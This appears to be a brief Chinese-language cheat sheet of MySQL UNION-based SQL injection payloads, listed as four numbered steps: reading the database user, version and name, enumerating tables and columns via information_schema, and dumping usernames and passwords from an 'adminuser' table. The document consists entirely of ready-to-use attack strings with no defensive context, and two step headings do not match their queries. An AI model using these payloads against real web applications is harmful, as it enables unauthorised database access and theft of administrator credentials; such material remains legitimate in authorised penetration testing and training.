mysql 注入总结

1.查看基本信息

union select 1,2,3,group_concat(user(),0x7C7C,version(),0x7C7C,database()),4,5,6,7,8,9,10,11,12,13,14%20--

2.查看表字段

and 1=2 union select 1,2,3,4,group_concat(table_name),5,6,7,8,9,10,11,12,13,14 from information_schema.tables where table_schema=database()--

3.查询所有表名

and 1=2 union select 1,2,3,4,group_concat(column_name),5,6,7,8,9,10,11,12,13,14 from information_schema.columns where table_name=(0x61646D696E75736572)--

4.查看字段

and 1=2 union select 1,2,3,4,group_concat(username,0x7C,pw),5,6,7,8,9,10,11,12,13,14 from adminuser--